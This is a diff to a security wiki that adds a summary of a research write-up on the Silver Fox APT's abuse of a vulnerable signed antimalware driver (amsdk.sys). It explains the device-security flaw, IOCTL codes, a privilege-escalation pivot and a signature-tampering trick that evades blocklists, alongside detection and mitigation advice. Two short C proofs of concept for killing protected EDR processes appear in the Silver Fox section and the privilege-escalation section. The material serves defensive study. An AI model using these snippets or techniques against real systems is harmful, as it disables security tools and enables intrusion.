Add content from: Chasing the Silver Fox: Cat & Mouse in Kernel Shadows

- Remove searchindex.js (auto-generated file)

src/windows-hardening/av-bypass.md

@@ -715,7 +715,64 @@ Detection / Mitigation
 •  Monitor creations of new *kernel* services and alert when a driver is loaded from a world-writable directory or not present on the allow-list.
 •  Watch for user-mode handles to custom device objects followed by suspicious `DeviceIoControl` calls.
 
-### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
+### Silver Fox BYOVD: WatchDog amsdk.sys/wamsdk.sys (Zemana SDK) on Win10/11
+
+A real-world APT campaign (“Silver Fox”) abused a signed but vulnerable antimalware driver to reliably kill EDR/AV (including PP/PPL) and sometimes elevate privileges on fully patched Windows 10/11.
+
+Key points
+- Driver: WatchDog Anti‑Malware amsdk.sys v1.0.600 (Microsoft-signed). Internals show Zemana SDK reuse (PDB path: zam64.pdb). Loadable on modern Windows where blocklists didn’t yet include it.
+- Legacy path: Older variants used ZAM.exe (legacy Zemana) on Win7-era systems.
+- Post-patch: Vendor released wamsdk.sys v1.1.100. It fixed LPE by tightening device security but still allowed arbitrary termination of processes, including PP/PPL.
+
+Root cause (amsdk.sys v1.0.600)
+- The device object is created via IoCreateDeviceSecure with a strong SDDL: D:P(A;;GA;;;SY)(A;;GA;;;BA) but DeviceCharacteristics omits FILE_DEVICE_SECURE_OPEN.
+- Without FILE_DEVICE_SECURE_OPEN, the secure DACL does not protect opens via the device namespace. Any user can open a handle by using a path with an extra component such as \\ .\\amsdk\\anyfile. Windows resolves it to the device object and returns a handle, bypassing the intended ACL.
+
+Powerful IOCTLs exposed
+- 0x80002010 – IOCTL_REGISTER_PROCESS: Register the caller.
+- 0x80002048 – IOCTL_TERMINATE_PROCESS: Terminates arbitrary PIDs, including PP/PPL (the driver only avoids critical system PIDs to prevent bugchecks).
+- 0x8000204C – IOCTL_OPEN_PROCESS: Returns full-access handles to target processes (LPE/token‑theft pivot).
+- 0x80002014 / 0x80002018 – Raw disk read/write (stealth tampering possible).
+
+Minimal PoC to terminate PP/PPL via user mode
+```c
+#define IOCTL_REGISTER_PROCESS  0x80002010
+#define IOCTL_TERMINATE_PROCESS 0x80002048
+
+int main() {
+    DWORD pidRegister = GetCurrentProcessId();
+    DWORD pidTerminate = /* target PID */;
+    HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
+    DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &pidRegister,  sizeof(pidRegister),  0, 0, 0, 0);
+    DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &pidTerminate, sizeof(pidTerminate), 0, 0, 0, 0);
+    return 0;
+}
+```
+
+Local privilege escalation pivot
+- Because any user can open the device, IOCTL_OPEN_PROCESS can hand out full-access handles to privileged processes. From there you can DuplicateTokenEx/CreateProcessAsUser to jump to SYSTEM. Raw disk I/O IOCTLs can also be abused for stealthy boot/config tampering.
+
+Patch and adversary response
+- Fix guidance: set FILE_DEVICE_SECURE_OPEN at device creation and add PP/PPL checks to block protected process termination.
+- Vendor patch (wamsdk.sys v1.1.100): Enforced secure opens (closing the LPE) but still allowed arbitrary termination (no PP/PPL level checks).
+- Signature evasion: Actors flipped a single byte in the unauthenticated RFC 3161 countersignature inside the WIN_CERTIFICATE. Result: the Microsoft Authenticode chain remains valid, but the file’s SHA‑256 changes, defeating hash‑based driver blocklists.
+
+Operational tradecraft observed (loader)
+- Single EXE bundles the vulnerable driver(s) and a downloader module. On modern OS, amsdk.sys loads; on legacy OS, ZAM.exe path is used. The loader persists via services (e.g., Amsdk_Service kernel driver; a misspelled Termaintor service) and drops under C:\\Program Files\\RunTime.
+- EDR killer logic: open amsdk device; for each process name in a Base64 list (~192 entries), issue IOCTL_REGISTER_PROCESS → IOCTL_TERMINATE_PROCESS.
+
+Detection ideas
+- Monitor creation/start of kernel driver services backed by unusual paths and registry-driven NtLoadDriver flows creating Amsdk_Service; look for user-mode opens of \\.\\amsdk* followed by DeviceIoControl 0x80002010 → 0x80002048.
+- Hunt for the suspicious service name "Termaintor" and drops under C:\\Program Files\\RunTime.
+- Keep Microsoft’s vulnerable-driver blocklist current and augment with allow/deny lists (WDAC/HVCI/Smart App Control). Track use of new hashes on known signed binaries to catch countersignature tampering.
+
+References and tooling
+- LOLDrivers: https://github.com/magicsword-io/LOLDrivers
+- Microsoft Vulnerable Driver Blocklist: https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules
+- Terminator (Zemana BYOVD PoC): https://github.com/ZeroMemoryEx/Terminator
+- CPR writeup with IOCTLs/PoCs/IOCs: https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/
+
+
 
 Zscaler’s **Client Connector** applies device-posture rules locally and relies on Windows RPC to communicate the results to other components. Two weak design choices make a full bypass possible:
 
@@ -840,4 +897,10 @@ References for PPL and tooling
 - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
 - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
 
+- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/)
+- [LOLDrivers](https://github.com/magicsword-io/LOLDrivers)
+- [Microsoft – Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules)
+- [Terminator – Zemana BYOVD PoC](https://github.com/ZeroMemoryEx/Terminator)
+- [Watchdog Anti‑Malware (product page)](https://watchdog.com/solutions/anti-malware/)
+
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src/windows-hardening/windows-local-privilege-escalation/README.md

@@ -739,6 +739,40 @@ If a driver exposes an arbitrary kernel read/write primitive (common in poorly d
 arbitrary-kernel-rw-token-theft.md
 {{#endref}}
 
+#### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
+
+Some signed third‑party drivers create their device object with a strong SDDL via IoCreateDeviceSecure but forget to set FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Without this flag, the secure DACL is not enforced when the device is opened through a path containing an extra component, letting any unprivileged user obtain a handle by using a namespace path like:
+
+- \\ .\\DeviceName\\anything
+- \\ .\\amsdk\\anyfile (from a real-world case)
+
+Once a user can open the device, privileged IOCTLs exposed by the driver can be abused for LPE and tampering. Example capabilities observed in the wild:
+- Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
+- Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
+- Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel.
+
+Minimal PoC pattern (user mode):
+```c
+// Example based on a vulnerable antimalware driver
+#define IOCTL_REGISTER_PROCESS  0x80002010
+#define IOCTL_TERMINATE_PROCESS 0x80002048
+
+HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
+DWORD me = GetCurrentProcessId();
+DWORD target = /* PID to kill or open */;
+DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
+DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
+```
+
+Mitigations for developers
+- Always set FILE_DEVICE_SECURE_OPEN when creating device objects intended to be restricted by a DACL.
+- Validate caller context for privileged operations. Add PP/PPL checks before allowing process termination or handle returns.
+- Constrain IOCTLs (access masks, METHOD_*, input validation) and consider brokered models instead of direct kernel privileges.
+
+Detection ideas for defenders
+- Monitor user-mode opens of suspicious device names (e.g., \\ .\\amsdk*) and specific IOCTL sequences indicative of abuse.
+- Enforce Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) and maintain your own allow/deny lists.
+
 
 ## PATH DLL Hijacking
 
@@ -1839,4 +1873,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the
 
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
 
+- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/)
+
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